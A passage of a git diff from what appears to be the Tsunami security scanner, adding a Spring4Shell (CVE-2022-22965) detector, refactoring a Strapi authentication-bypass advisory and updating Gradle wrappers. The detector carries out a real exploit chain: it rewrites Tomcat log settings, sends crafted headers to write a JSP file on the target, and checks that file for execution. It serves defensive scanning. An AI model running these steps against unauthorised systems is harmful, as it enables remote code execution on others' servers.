Modifying logs configuration + httpClient.send( + HttpRequest.builder() + .setMethod(httpMethod) + .setUrl(targetUri + "?" + buildQueryString(exploitParams)) + .setHeaders(httpHeaders) + .build(), + networkService); + + // Wait for changes to propagate + Uninterruptibles.sleepUninterruptibly(Duration.ofSeconds(delayBetweenRequests)); + + // Send an arbitrary request to trigger the file writing + // The headers are needed to generate the content correctly + logger.atInfo().log("Triggering JSP file write."); + HttpHeaders headers = + HttpHeaders.builder() + .addHeader("perc", "%") + .addHeader("rt", "Runtime") + .addHeader("Connection", "close") + .build(); + httpClient.send( + HttpRequest.builder() + .setMethod(HttpMethod.GET) + .setUrl(targetUri) + .setHeaders(headers) + .build(), + networkService); + + // Wait for file to be written + Uninterruptibles.sleepUninterruptibly(Duration.ofSeconds(delayBetweenRequests)); + + // Set the log file to /dev/null to prevent further data being written to the file + // or accidentally leaving leftovers on the target + Map resetParams = + ImmutableMap.of( + LOG_DIRECTORY_PARAM, "/dev", + LOG_FILE_PREFIX_PARAM, "null", + LOG_FILE_DATE_FORMAT_PARAM, "", + LOG_FILE_SUFFIX_PARAM, "", + LOG_PATTERN_PARAM, ""); + logger.atInfo().log("Resetting log configuration."); + httpClient.send( + HttpRequest.builder() + .setMethod(httpMethod) + .setUrl(targetUri + "?" + buildQueryString(resetParams)) + .setHeaders(httpHeaders) + .build(), + networkService); + + } catch (IOException e) { + return false; + } + return true; + } + + private boolean checkUploadedJsp( + String targetUri, NetworkService networkService, Payload payload) { + List urlsToCheck = new ArrayList<>(); + String tempUrl = NetworkServiceUtils.buildWebApplicationRootUrl(networkService); + urlsToCheck.add(tempUrl + this.jspFileName); + + // The JSP file may be in any subpath from our original target URI + List pathSegments = Objects.requireNonNull(HttpUrl.parse(targetUri)).pathSegments(); + if (pathSegments.size() > 1) { + for (String segment : pathSegments) { + tempUrl += segment + "/"; + urlsToCheck.add(tempUrl + this.jspFileName); + } + } + + HttpHeaders httpHeaders = HttpHeaders.builder().addHeader("Connection", "close").build(); + for (String url : urlsToCheck) { + try { + HttpResponse response; + int max_attempts = 5; + int attempt = 0; + boolean executed; + // If we get a 200, retry the request a few times as sometimes the contents haven't been + // written yet + do { + Uninterruptibles.sleepUninterruptibly(Duration.ofSeconds(delayBetweenRequests)); + response = httpClient.send(get(url).setHeaders(httpHeaders).build(), networkService); + executed = payload.checkIfExecuted(response.bodyString().orElse("")); + } while (response.status() == HttpStatus.OK && !executed && attempt++ < max_attempts); + + if (executed) { + logger.atInfo().log("Vulnerability confirmed via JSP file uploaded at %s", url); + + // Cleanup + logger.atInfo().log("Triggering JSP file deletion."); + httpClient.send(get(url + "?delete=1").setHeaders(httpHeaders).build(), networkService); + + return true; + } + } catch (IOException e) { + logger.atWarning().withCause(e).log("Unable to query '%s'.", url); + } + } + logger.atWarning().log( + "Could not find any uploaded JSP file. Target is probably not vulnerable."); + return false; + } + + private DetectionReport buildDetectionReport( + TargetInfo targetInfo, NetworkService vulnerableNetworkService) { + return DetectionReport.newBuilder() + .setTargetInfo(targetInfo) + .setNetworkService(vulnerableNetworkService) + .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) + .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) + .setVulnerability(this.getAdvisories().get(0)) + .build(); + } +} diff --git a/community/detectors/spring_framework_cve_2022_22965/src/main/java/com/google/tsunami/plugins/detectors/spring4shell/SpringCve202222965DetectorBootstrapModule.java b/community/detectors/spring_framework_cve_2022_22965/src/main/java/com/google/tsunami/plugins/detectors/spring4shell/SpringCve202222965DetectorBootstrapModule.java new file mode 100644 index 000000000..3fd24cdbd --- /dev/null +++ b/community/detectors/spring_framework_cve_2022_22965/src/main/java/com/google/tsunami/plugins/detectors/spring4shell/SpringCve202222965DetectorBootstrapModule.java @@ -0,0 +1,40 @@ +/* + * Copyright 2025 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.google.tsunami.plugins.detectors.spring4shell; + +import static com.google.tsunami.plugins.detectors.spring4shell.Annotations.DelayBetweenRequests; + +import com.google.inject.Provides; +import com.google.tsunami.plugin.PluginBootstrapModule; + +/** A {@link PluginBootstrapModule} for {@link SpringCve202222965Detector} */ +public final class SpringCve202222965DetectorBootstrapModule extends PluginBootstrapModule { + + @Override + protected void configurePlugin() { + registerPlugin(SpringCve202222965Detector.class); + } + + @Provides + @DelayBetweenRequests + int provideDelayBetweenRequests(SpringCve202222965DetectorConfigs configs) { + if (configs.delayBetweenRequests == -1) { + return 3; + } + + return configs.delayBetweenRequests; + } +} diff --git a/community/detectors/spring_framework_cve_2022_22965/src/main/java/com/google/tsunami/plugins/detectors/spring4shell/SpringCve202222965DetectorConfigs.java b/community/detectors/spring_framework_cve_2022_22965/src/main/java/com/google/tsunami/plugins/detectors/spring4shell/SpringCve202222965DetectorConfigs.java new file mode 100644 index 000000000..22ff232f0 --- /dev/null +++ b/community/detectors/spring_framework_cve_2022_22965/src/main/java/com/google/tsunami/plugins/detectors/spring4shell/SpringCve202222965DetectorConfigs.java @@ -0,0 +1,23 @@ +/* + * Copyright 2025 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.google.tsunami.plugins.detectors.spring4shell; + +import com.google.tsunami.common.config.annotations.ConfigProperties; + +@ConfigProperties("plugins.detectors.spring4shell_detector") +public class SpringCve202222965DetectorConfigs { + int delayBetweenRequests = -1; +} diff --git a/community/detectors/spring_framework_cve_2022_22965/src/test/java/com/google/tsunami/plugins/detectors/spring/SpringCve202222965DetectorTest.java b/community/detectors/spring_framework_cve_2022_22965/src/test/java/com/google/tsunami/plugins/detectors/spring4shell/SpringCve202222965DetectorTest.java similarity index 58% rename from community/detectors/spring_framework_cve_2022_22965/src/test/java/com/google/tsunami/plugins/detectors/spring/SpringCve202222965DetectorTest.java rename to community/detectors/spring_framework_cve_2022_22965/src/test/java/com/google/tsunami/plugins/detectors/spring4shell/SpringCve202222965DetectorTest.java index 7ea0e013d..9adbb30d4 100644 --- a/community/detectors/spring_framework_cve_2022_22965/src/test/java/com/google/tsunami/plugins/detectors/spring/SpringCve202222965DetectorTest.java +++ b/community/detectors/spring_framework_cve_2022_22965/src/test/java/com/google/tsunami/plugins/detectors/spring4shell/SpringCve202222965DetectorTest.java @@ -1,5 +1,5 @@ /* - * Copyright 2022 Google LLC + * Copyright 2025 Google LLC * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. @@ -13,31 +13,36 @@ * See the License for the specific language governing permissions and * limitations under the License. */ -package com.google.tsunami.plugins.detectors.spring; +package com.google.tsunami.plugins.detectors.spring4shell; import static com.google.common.truth.extensions.proto.ProtoTruth.assertThat; import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostname; import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostnameAndPort; +import static com.google.tsunami.plugins.detectors.spring4shell.Annotations.DelayBetweenRequests; +import static com.google.tsunami.plugins.detectors.spring4shell.SpringCve202222965Detector.JSP_FILENAME_PREFIX; import com.google.common.collect.ImmutableList; import com.google.inject.Guice; +import com.google.inject.testing.fieldbinder.Bind; +import com.google.inject.testing.fieldbinder.BoundFieldModule; +import com.google.inject.util.Modules; import com.google.protobuf.util.Timestamps; import com.google.tsunami.common.net.http.HttpClientModule; import com.google.tsunami.common.net.http.HttpStatus; import com.google.tsunami.common.time.testing.FakeUtcClock; import com.google.tsunami.common.time.testing.FakeUtcClockModule; +import com.google.tsunami.plugin.payload.testing.FakePayloadGeneratorModule; import com.google.tsunami.proto.DetectionReport; import com.google.tsunami.proto.DetectionReportList; import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.Software; import com.google.tsunami.proto.TargetInfo; import com.google.tsunami.proto.TransportProtocol; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.io.IOException; +import java.security.SecureRandom; import java.time.Instant; +import java.util.Arrays; import javax.inject.Inject; import okhttp3.mockwebserver.Dispatcher; import okhttp3.mockwebserver.MockResponse; @@ -56,17 +61,38 @@ public final class SpringCve202222965DetectorTest { private final FakeUtcClock fakeUtcClock = FakeUtcClock.create().setNow(Instant.parse("2020-01-01T00:00:00.00Z")); + private final String fakeJspPath = "/" + JSP_FILENAME_PREFIX + fakeUtcClock.millis() + ".jsp"; + + @Bind(lazy = true) + @DelayBetweenRequests + private final int delayBetweenRequests = 0; + @Inject private SpringCve202222965Detector detector; private MockWebServer mockWebServer; + private final SecureRandom testSecureRandom = + new SecureRandom() { + @Override + public void nextBytes(byte[] bytes) { + Arrays.fill(bytes, (byte) 0xFF); + } + }; + + private static final String MOCK_PAYLOAD_EXECUTION = + "TSUNAMI_PAYLOAD_STARTffffffffffffffffTSUNAMI_PAYLOAD_END"; @Before public void setUp() { mockWebServer = new MockWebServer(); Guice.createInjector( new FakeUtcClockModule(fakeUtcClock), - new SpringCve202222965DetectorBootstrapModule(), - new HttpClientModule.Builder().build()) + FakePayloadGeneratorModule.builder() + .setCallbackServer(null) + .setSecureRng(testSecureRandom) + .build(), + new HttpClientModule.Builder().build(), + Modules.override(new SpringCve202222965DetectorBootstrapModule()) + .with(BoundFieldModule.of(this))) .injectMembers(this); } @@ -77,7 +103,8 @@ public void tearDown() throws IOException { @Test public void detect_whenVulnerable_returnsVulnerability() throws IOException { - mockWebServer.setDispatcher(new VulnerabilityEndpointDispatcher()); + mockWebServer.setDispatcher( + new VulnerabilityEndpointDispatcher(this.fakeJspPath, MOCK_PAYLOAD_EXECUTION)); mockWebServer.start(); NetworkService service = NetworkService.newBuilder() @@ -102,27 +129,7 @@ public void detect_whenVulnerable_returnsVulnerability() throws IOException { .setDetectionTimestamp( Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE_2022_22965")) - .setSeverity(Severity.CRITICAL) - .setTitle("Spring Framework RCE CVE-2022-22965") - .setDescription( - "A Spring MVC or Spring WebFlux application running on JDK" - + " 9+ may be vulnerable to remote code execution (RCE) via data " - + "binding. The specific exploit requires the application to run " - + "on Tomcat as a WAR deployment. If the application is deployed " - + "as a Spring Boot executable jar, i.e. the default, it is not " - + "vulnerable to the exploit. However, the nature of the " - + "vulnerability is more general, and there may be other ways to " - + "exploit it.") - .setRecommendation( - "Users of affected versions should apply the following mitigation: " - + "5.3.x users should upgrade to 5.3.18+, 5.2.x users should " - + "upgrade to 5.2.20+.")) + .setVulnerability(detector.getAdvisories().get(0)) .build()); } @@ -148,6 +155,34 @@ public void detect_whenNotVulnerable_returnsNoVulnerability() throws IOException assertThat(detectionReports.getDetectionReportsList()).isEmpty(); } + @Test + public void detect_whenFalsePositive_returnsNoVulnerability() throws IOException { + /* + We simulate a false positive by returning an incorrect response in the + (supposedly) uploaded JSP page. + */ + mockWebServer.setDispatcher( + new VulnerabilityEndpointDispatcher( + this.fakeJspPath, "This is not the page you're looking for.")); + mockWebServer.start(); + NetworkService service = + NetworkService.newBuilder() + .setNetworkEndpoint( + forHostnameAndPort(mockWebServer.getHostName(), mockWebServer.getPort())) + .setTransportProtocol(TransportProtocol.TCP) + .setSoftware(Software.newBuilder().setName("http")) + .setServiceName("http") + .build(); + TargetInfo targetInfo = + TargetInfo.newBuilder() + .addNetworkEndpoints(forHostname(mockWebServer.getHostName())) + .build(); + + DetectionReportList detectionReports = detector.detect(targetInfo, ImmutableList.of(service)); + + assertThat(detectionReports.getDetectionReportsList()).isEmpty(); + } + static final class SafeEndpointDispatcher extends Dispatcher { @Override @@ -157,18 +192,32 @@ public MockResponse dispatch(RecordedRequest recordedRequest) { } static final class VulnerabilityEndpointDispatcher extends Dispatcher { + private final String jspPath; + private final String jspResponse; + + VulnerabilityEndpointDispatcher(String jspPath, String jspResponse) { + this.jspPath = jspPath; + this.jspResponse = jspResponse; + } @Override public MockResponse dispatch(RecordedRequest recordedRequest) { - if ("/?class.module.classLoader.DefaultAssertionStatus=1".equals(recordedRequest.getPath())) { + String path = recordedRequest.getPath(); + if (path.equals("/?class.module.classLoader.DefaultAssertionStatus=1")) { + // Handle preliminary check 1 return new MockResponse().setResponseCode(HttpStatus.OK.code()); - } - if ("/?class.module.classLoader.DefaultAssertionStatus=2".equals(recordedRequest.getPath())) { + } else if (path.equals("/?class.module.classLoader.DefaultAssertionStatus=2")) { + // Handle preliminary check 2 return new MockResponse().setResponseCode(HttpStatus.BAD_REQUEST.code()); + } else if (path.startsWith(jspPath)) { + // Handle requests to the uploaded + return new MockResponse().setResponseCode(HttpStatus.OK.code()).setBody(jspResponse); + } else if (path.startsWith("/?")) { + // Handle requests during JSP upload step + return new MockResponse().setResponseCode(HttpStatus.OK.code()); + } else { + return new MockResponse().setResponseCode(HttpStatus.NOT_FOUND.code()); } - return new MockResponse() - .setResponseCode(HttpStatus.OK.code()) - .setBody("

"); } } } diff --git a/community/detectors/strapi_cve_2023_22893/gradle/wrapper/gradle-wrapper.jar b/community/detectors/strapi_cve_2023_22893/gradle/wrapper/gradle-wrapper.jar index d64cd4917..1b33c55ba 100644 Binary files a/community/detectors/strapi_cve_2023_22893/gradle/wrapper/gradle-wrapper.jar and b/community/detectors/strapi_cve_2023_22893/gradle/wrapper/gradle-wrapper.jar differ diff --git a/community/detectors/strapi_cve_2023_22893/gradle/wrapper/gradle-wrapper.properties b/community/detectors/strapi_cve_2023_22893/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/community/detectors/strapi_cve_2023_22893/gradle/wrapper/gradle-wrapper.properties +++ b/community/detectors/strapi_cve_2023_22893/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/community/detectors/strapi_cve_2023_22893/gradlew b/community/detectors/strapi_cve_2023_22893/gradlew index 1aa94a426..23d15a936 100755 --- a/community/detectors/strapi_cve_2023_22893/gradlew +++ b/community/detectors/strapi_cve_2023_22893/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/community/detectors/strapi_cve_2023_22893/gradlew.bat b/community/detectors/strapi_cve_2023_22893/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/community/detectors/strapi_cve_2023_22893/gradlew.bat +++ b/community/detectors/strapi_cve_2023_22893/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 +45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/community/detectors/strapi_cve_2023_22893/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202322893/Cve202322893VulnDetector.java b/community/detectors/strapi_cve_2023_22893/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202322893/Cve202322893VulnDetector.java index 2f656f577..af7a77679 100644 --- a/community/detectors/strapi_cve_2023_22893/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202322893/Cve202322893VulnDetector.java +++ b/community/detectors/strapi_cve_2023_22893/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202322893/Cve202322893VulnDetector.java @@ -92,6 +92,30 @@ public DetectionReportList detect( .build(); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("TSUNAMI_COMMUNITY") + .setValue("CVE_2023_22893")) + .addRelatedId( + VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2023-22893")) + .setSeverity(Severity.CRITICAL) + .setTitle("Authentication Bypass For Strapi AWS Cognito Login Provider") + .setDescription( + "Strapi before 4.5.5 does not verify the access or ID tokens issued during the" + + " OAuth flow when the AWS Cognito login provider is used for" + + " authentication. A remote attacker could forge an ID token that is" + + " signed using the 'None' type algorithm to bypass authentication and" + + " impersonate any user that use AWS Cognito for authentication. with the" + + " help of CVE-2023-22621 and CVE-2023-22894 attackers can gain" + + " Unauthenticated Remote Code Execution on this version of Strapi") + .setRecommendation("Upgrade to version 4.5.6 and higher") + .build()); + } + private boolean isServiceVulnerable(NetworkService networkService) { HttpHeaders httpHeaders = HttpHeaders.builder() @@ -126,23 +150,7 @@ private DetectionReport buildDetectionReport( .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE_2023_22893")) - .setSeverity(Severity.CRITICAL) - .setTitle("Authentication Bypass For Strapi AWS Cognito Login Provider") - .setDescription( - "Strapi before 4.5.5 does not verify the access or ID tokens issued during the" - + " OAuth flow when the AWS Cognito login provider is used for" - + " authentication. A remote attacker could forge an ID token that is" - + " signed using the 'None' type algorithm to bypass authentication and" - + " impersonate any user that use AWS Cognito for authentication. with the" - + " help of CVE-2023-22621 and CVE-2023-22894 attackers can gain" - + " Unauthenticated Remote Code Execution on this version of Strapi") - .setRecommendation("Upgrade to version 4.5.6 and higher")) + .setVulnerability(this.getAdvisories().get(0)) .build(); } } diff --git a/community/detectors/strapi_cve_2023_22893/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202322893/Cve202322893VulnDetectorTest.java b/community/detectors/strapi_cve_2023_22893/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202322893/Cve202322893VulnDetectorTest.java index 297f5e98b..5549ea4cd 100644 --- a/community/detectors/strapi_cve_2023_22893/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202322893/Cve202322893VulnDetectorTest.java +++ b/community/detectors/strapi_cve_2023_22893/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202322893/Cve202322893VulnDetectorTest.java @@ -30,12 +30,9 @@ import com.google.tsunami.proto.DetectionReportList; import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.Software; import com.google.tsunami.proto.TargetInfo; import com.google.tsunami.proto.TransportProtocol; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.io.IOException; import java.time.Instant; import javax.inject.Inject; @@ -111,23 +108,7 @@ public void detect_whenVulnerable_returnsDetection() { .setNetworkService(strapiService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE_2023_22893")) - .setSeverity(Severity.CRITICAL) - .setTitle("Authentication Bypass For Strapi AWS Cognito Login Provider") - .setDescription( - "Strapi before 4.5.5 does not verify the access or ID tokens issued during" - + " the OAuth flow when the AWS Cognito login provider is used for" - + " authentication. A remote attacker could forge an ID token that is" - + " signed using the 'None' type algorithm to bypass authentication and" - + " impersonate any user that use AWS Cognito for authentication. with" - + " the help of CVE-2023-22621 and CVE-2023-22894 attackers can gain" - + " Unauthenticated Remote Code Execution on this version of Strapi") - .setRecommendation("Upgrade to version 4.5.6 and higher")) + .setVulnerability(detector.getAdvisories().get(0)) .build(); assertThat(actual).isEqualTo(expected); } diff --git a/community/detectors/triton_inference_server_model_overwrite/gradle/wrapper/gradle-wrapper.jar b/community/detectors/triton_inference_server_model_overwrite/gradle/wrapper/gradle-wrapper.jar index d64cd4917..1b33c55ba 100644 Binary files a/community/detectors/triton_inference_server_model_overwrite/gradle/wrapper/gradle-wrapper.jar and b/community/detectors/triton_inference_server_model_overwrite/gradle/wrapper/gradle-wrapper.jar differ diff --git a/community/detectors/triton_inference_server_model_overwrite/gradle/wrapper/gradle-wrapper.properties b/community/detectors/triton_inference_server_model_overwrite/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/community/detectors/triton_inference_server_model_overwrite/gradle/wrapper/gradle-wrapper.properties +++ b/community/detectors/triton_inference_server_model_overwrite/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/community/detectors/triton_inference_server_model_overwrite/gradlew b/community/detectors/triton_inference_server_model_overwrite/gradlew index 1aa94a426..23d15a936 100755 --- a/community/detectors/triton_inference_server_model_overwrite/gradlew +++ b/community/detectors/triton_inference_server_model_overwrite/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/community/detectors/triton_inference_server_model_overwrite/gradlew.bat b/community/detectors/triton_inference_server_model_overwrite/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/community/detectors/triton_inference_server_model_overwrite/gradlew.bat +++ b/community/detectors/triton_inference_server_model_overwrite/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 +45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar 